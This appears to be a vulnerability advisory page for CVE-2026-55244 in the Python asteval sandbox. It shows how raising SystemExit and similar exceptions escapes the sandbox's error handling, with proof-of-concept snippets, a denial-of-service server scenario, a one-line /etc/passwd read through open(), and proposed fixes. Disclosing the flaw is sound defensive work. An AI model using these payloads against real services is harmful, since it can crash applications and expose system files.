CVE-2026-55244: Medium severity pip/asteval vulnerability

Published Aug 20, 2026
·
Updated

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.

---

Affected Code

asteval/astutils.py, lines 89–108 — FROMPY exposes dangerous classes to sandbox users:

python FROMPY = ('ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', # ← escapes except Exception: 'BufferError', 'BytesWarning', ... 'GeneratorExit', # ← escapes except Exception: ... 'KeyboardInterrupt', # ← escapes except Exception: ... 'SystemExit', # ← escapes except Exception: ...)

asteval/asteval.py, line 322 — run() exception handler:

python except Exception: # ← does NOT catch BaseException subclasses if withraise and self.expr is not None: self.raiseexception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

python except Exception: # ← same gap if showerrors and not raiseerrors: ...

asteval/asteval.py, line 264 — raiseexception() raises the class directly:

python raise exc(self.errormsg) # ← when exc=SystemExit, escapes both handlers above

---

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException ├── SystemExit ← NOT caught by except Exception: ├── KeyboardInterrupt ← NOT caught by except Exception: ├── GeneratorExit ← NOT caught by except Exception: └── Exception ← caught normally ├── RuntimeError ├── ValueError └── ...

FROMPY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the onraise() handler calls:

python self.raiseexception(None, exc=out.class, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.

---

Proof of Concept

python from asteval import Interpreter

Variant 1: terminate the process aeval = Interpreter() try: aeval.eval('raise SystemExit("terminated by sandbox user")') except SystemExit as e: print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

Variant 2: disrupt signal/finally handling aeval = Interpreter() try: aeval.eval('raise KeyboardInterrupt("interrupt injected")') except KeyboardInterrupt as e: print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

Variant 3: GeneratorExit aeval = Interpreter() try: aeval.eval('raise GeneratorExit("gen escape")') except GeneratorExit as e: print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

Variant 4: BaseException base class aeval = Interpreter() try: aeval.eval('raise BaseException("base escape")') except BaseException as e: if not isinstance(e, Exception): print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user' [CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected' [CONFIRMED] GeneratorExit escaped: 'gen escape' [CONFIRMED] BaseException escaped: 'base escape'

Real-world server scenario

python from asteval import Interpreter

def handlerequest(userexpression): aeval = Interpreter() return aeval.eval(userexpression) # SystemExit propagates here

Attacker sends: raise SystemExit(1) Application terminates. Top-level except Exception: handlers do not protect it. try: handlerequest('raise SystemExit(1)') except Exception: pass # <-- does NOT catch SystemExit; process exits

---

Impact

| Variant | Impact | |---------|--------| | SystemExit | Process terminates; exit code and message attacker-controlled | | KeyboardInterrupt | Disrupts finally blocks, signal handlers, and KeyboardInterrupt-aware loops | | GeneratorExit | Disrupts generator cleanup in calling code | | BaseException | Generic escape, same propagation |

Any application that: - Accepts user-supplied expressions via asteval - Relies on except Exception: at the top level (standard practice) - Does not wrap aeval.eval() in except BaseException: (non-standard, unexpected requirement)

...is vulnerable to attacker-triggered process termination (DoS).

CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact — process termination (A:H).

---

Additional Note: File Read Capability (Acknowledged Limitation)

Independently of this vulnerability, asteval exposes a read-only open() wrapper (open in astutils.py) that allows reading arbitrary files with the permissions of the calling process:

python aeval.eval("open('/etc/passwd').read()") # returns /etc/passwd contents

This is documented in doc/motivation.rst as a known design choice ("If reading from disk must be forbidden, you will want to overwrite the open() function from the symbol table"). It is included here for completeness, not as a separate advisory claim.

---

Recommended Fix

Option A — Remove dangerous classes from FROMPY (minimal, preferred):

python asteval/astutils.py

FROMPY = ('ArithmeticError', 'AssertionError', 'AttributeError', # Remove: 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', # Remove: 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', # Remove: 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplementedError', 'OSError', 'OverflowError', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', # Remove: 'SystemExit', 'True', 'TypeError', ...)

Option B — Block non-Exception raises in onraise():

python asteval/asteval.py

def onraise(self, node): excnode = node.exc msgnode = node.cause out = self.run(excnode) # Prevent BaseException subclasses from escaping the sandbox if not issubclass(out.class, Exception): self.raiseexception(node, exc=RuntimeError, msg=f"raising {out.class.name!r} is not permitted") return msg = ' '.join(str(a) for a in out.args) msg2 = self.run(msgnode) if msg2 not in (None, 'None'): msg = f"{msg}: {msg2}" self.raiseexception(None, exc=out.class, msg=msg, expr='')

Note: Option B also fixes a secondary bug on the same line — ' '.join(out.args) crashes with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer code). The fix uses str(a) for a in out.args.

Option C — Catch BaseException in run() and eval() (broadest, requires care):

python except BaseException as exc: if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)): # Re-raise as RuntimeError to contain within sandbox self.raiseexception(node, exc=RuntimeError, msg=f"{type(exc).name} raised in sandbox") elif withraise and self.expr is not None: self.raiseexception(node, expr=self.expr)

Option A is the simplest and least likely to introduce regressions. Option B additionally addresses the str.join crash on integer args.

---

Disclosure Timeline

| Date | Event | |------|-------| | 2026-06-09 | Vulnerability discovered during code review | | 2026-06-09 | Report submitted via GitHub Security Advisory | | TBD | Maintainer acknowledgment | | TBD + 90 days | Public disclosure deadline |

---

Researcher

Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.

---

References

- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6) - Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6) - Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy - asteval documentation: https://lmfit.github.io/asteval/

Affected Software

1 affected componentFixes available
pip/asteval<1.0.9
1.0.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/asteval to a version that resolves this vulnerability.

    Fixed in 1.0.9
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 1.0.6Patch CVE-2025-24359
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 1.0.6Patch GHSA-vp47-9734-prjw
  4. Configuration

    In asteval/astutils.py, overwrite FROM_PY to exclude the four non-Exception BaseException-branch classes that are shown as escaping the sandbox: 'BaseException', 'GeneratorExit', 'KeyboardInterrupt', and 'SystemExit' (Option A: remove dangerous classes from FROM_PY).

    asteval/astutils.py sandbox FROM_PY FROM_PY = Remove dangerous classes from FROM_PY (minimal, preferred)
  5. Configuration

    In asteval/asteval.py on_raise(), when handling a raise statement from sandbox user code, do not allow raising classes that are not subclasses of Exception; specifically block raises of SystemExit, KeyboardInterrupt, GeneratorExit, and BaseException (Option B: block non-Exception raises in on_raise()).

    asteval/asteval.py on_raise() on_raise() handling of raises = Block non-Exception raises in on_raise()
  6. Configuration

    In asteval/asteval.py, ensure both run() and eval() exception handling also catches BaseException (e.g., an except BaseException: handler) so SystemExit/KeyboardInterrupt/GeneratorExit/BaseException cannot bypass the existing except Exception: safety net (Option C: catch BaseException in run() and eval(), broadest).

    asteval/asteval.py run()/eval() exception handlers catch coverage = Catch BaseException in run() and eval()
  7. Compensating control

    If attacker-controlled expressions can reach asteval.Interpreter.eval(), apply compensating isolation/containment so that even if process-terminating exceptions are triggered inside the sandbox, the surrounding service remains protected (e.g., run evaluation in an isolated worker/container and prevent termination from affecting the main process).

  8. Operational

    After deploying the fix, validate by running test expressions (e.g., raise SystemExit(1), raise BaseException('x'), raise GeneratorExit('x'), raise KeyboardInterrupt('x')) and confirm they no longer propagate to the calling application.

Event History

Aug 20, 2026
Advisory Published
via GitHub·05:28 PM
Data Sourced
via GitHub·05:28 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

All asteval versions are affected, including version 1.0.6 and the current HEAD, when an attacker can supply expressions to asteval.Interpreter.eval().

2

What does an attacker need to exploit this issue?

The attacker needs the ability to provide an expression evaluated by the sandbox. They can invoke BaseException or its exposed subclasses SystemExit, KeyboardInterrupt, or GeneratorExit.

3

What is the practical impact?

These exceptions bypass the except Exception handlers in run() and eval() and propagate to the calling application. This can terminate the process or interfere with signal and cleanup handling.

4

How can I identify potentially affected usage?

Review uses of asteval.Interpreter.eval() and identify any path where expressions can be supplied by an untrusted or lower-privileged user. Such paths are exposed because the dangerous exception classes are available through FROM_PY.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203